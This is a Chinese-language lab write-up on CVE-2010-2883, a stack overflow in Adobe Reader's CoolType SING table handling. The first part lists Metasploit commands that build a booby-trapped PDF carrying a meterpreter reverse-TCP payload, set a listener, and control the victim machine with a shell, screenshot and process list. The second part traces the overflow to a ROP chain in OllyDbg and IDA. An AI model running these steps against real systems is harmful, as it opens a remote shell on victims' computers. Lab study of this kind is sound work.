CVE-2010-2883利用与逆向分析

1、漏洞概述

CVE-2010-2883漏洞原理:“Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行

2、漏洞复现与分析环境

Kali Linux + Windows 7 sp1 +Windows xp sp3
控制机:Kali Linux ip192.168.131.132 
靶机:Windows 7 sp1 ip192.168.131.132 
软件:Adobe Reader 9.3.exe、OllDbgIDA ProPdfStreamDumper

3、实验流程

一、复现过程:

分别查看kali linux和win7的ip地址(如图一):

Kali:

Win7:

 

图一:kali系统与Windows系统的IP地址

①进入Kali Linux,使用Metasploit生成PDF文件

搜索Adobe攻击模块 (如图二)
msf > search adobe_cooltype_sing 

 

图二:搜索Adobe攻击模块
调用攻击模块 (如图三)
msf > use exploit/windows/fileformat/adobe_cooltype_sing/ 
查看模块详情 (如图三)
msf exploit(adobe_cooltype_sing) > info

 

                      图三:调用攻击模块与查看模块详情

调用meterpreter载荷,反向连接到靶机 (如图四)
msf  exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 
设置Kali LinuxIP地址 (如图四)
msf  exploit(adobe_cooltype_sing) > set LHOST 192.168.131.132
设置本地监听端口 (如图四)
msf  exploit(adobe_cooltype_sing) > set LPORT 8888 
设置带有后门程序的PDF文件 (如图四)
msf  exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 

 

 

                     图四:配置相关要求
执行exploit生成攻击文件 (如图五)
msf  exploit(adobe_cooltype_sing) > exploit 

 

                      图五:生成攻击文件

②将生成的文件拷贝至Kali Linux桌面(如图六)

root@kali:~# cp /root/.msf4/local/PINGINGLAB.pdf /root/Desktop/PINGINGLAB.pdf 

 

          图六

③Metasploit开启shell监听会话,等待肉鸡上线

使用handler监听模块 
msf > use exploit/multi/handler 


回弹一个tcp连接 (如图八)
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp 

设置监听IP地址(如图八)
msf  exploit(handler) > set LHOST 192.168.131.140
设置监听的端口 (如图八)
msf  exploit(handler) > set LPORT 8888 
开启监听 (如图八)
msf  exploit(handler) > exploit 

 

                             图八

 

 

 

 

 

 

 

 

 

 

 

 

④在Windows 7安装Adobe Reader 9.3(如图九)

 

       图九:在Windows7系统中安装Adobe Reader 9.3

 

 

 

⑤将kali中生成的PDF文件拷贝到Windows 7并打开(如图十)

 

                        图十

⑥Metasploit获取shell会话,并用Meterpreter控制肉鸡

查看系统信息 
meterpreter > sysinfo 

 

查看当前用户 (如图十一)
meterpreter > getuid 

 

图十一:查看当前用户
截屏 (如图十二)
meterpreter > screenshot

 

                             图十二

获取进程 (如图十三)
meterpreter > ps 

                         图十三:获取进程

 


获取Dos Shell (如图十四)
meterpreter > shell 

                          图十四:获取反弹shell

 

 

二:逆向分析过程

1.漏洞成因
CoolType.dll在解析SING表中的uniqueName时存在栈溢出漏洞。


2.漏洞分析

1. 查看源代码,找到可以被利用的漏洞。(如图一)

 

         图一:cooltype.dll的栈溢出代码点

2. 利用PdfStreamDumper导入利用漏洞的PDF文件,在Object中找到Sing的Object,右键选择Save Decompressed Streams保存到本地。在保存的文件中能看到TableEntry数据结构IDA反汇编cooltype.dll的代码,找到具体的溢出代码处(如图二)。

 

 

 

 

 

 

官方文档对TableEntry结构的定义

typedef sturct_SING
{
char tag[4];//"SING"
ULONG checkSum;//校验和
ULONG offset;//相对文件偏移
ULONG length;//数据长度
} TableEntry;

 

 

 

             图二:溢出代码处

 

3. 打开Adobe Reader软件,利用OllyDbg附加到此进程,按下alt+e,进入程序所调用的模块空间,看到CoolType.dll模块如图三)。

 

              图三:找到cooltype.dll进程

 

 

 

4. 进入CoolType.dll模块,对照着在IDA中反汇编所看到的漏洞位置0x803DDAB,ollydbg中按下ctrl+g,输入0x803DCA4,跳转到漏洞位置,并下断点由图可知,如果uniqueName域超过正常大小,那么将破环这个函数的堆栈造成溢出,精心构造的数据可以控制程序的EIP执行任意代码。(如图五)

 

                图五:跳转到漏洞位置并下断点

5. 打开msf.pdf文件,点击运行,程序会自动断到上面的断点位置,此时栈分布如图六。

                          图六

6.在内存区域中按下ctrl+g,跳转到0x12E4D8,并设置内存访问断点如图七)。

 

 

 

                           图七

7.一直按F9运行,往断点位置写数据时会多次在内存断点位置停下来然后多次ctrl+F9之后程序返回到用户空间如图八)。

 

                           图八

 

8. 继续逐步运行程序,在call函数时步入,逐步运行,运行到0x808B308的时候就会看到程序下一步要跳转到0x4A80CB38的位置(ROP链的位置)最终跳到ROP链中如图九)。

 

阅读更多

没有更多推荐了,返回首页